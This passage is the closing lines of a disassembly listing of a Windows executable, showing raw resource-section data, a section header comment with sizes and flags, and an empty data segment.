		dd 0D38D999Ch, 550D6D18h, 556DE277h, 68AC831Bh,	0E7A25FB4h
		dd 0C33E69F3h, 150Dh dup(0)
_rsrc		ends

; Section 3. (virtual address 00021000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00020200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 421000h
		align 2000h
_idata2		ends


		end start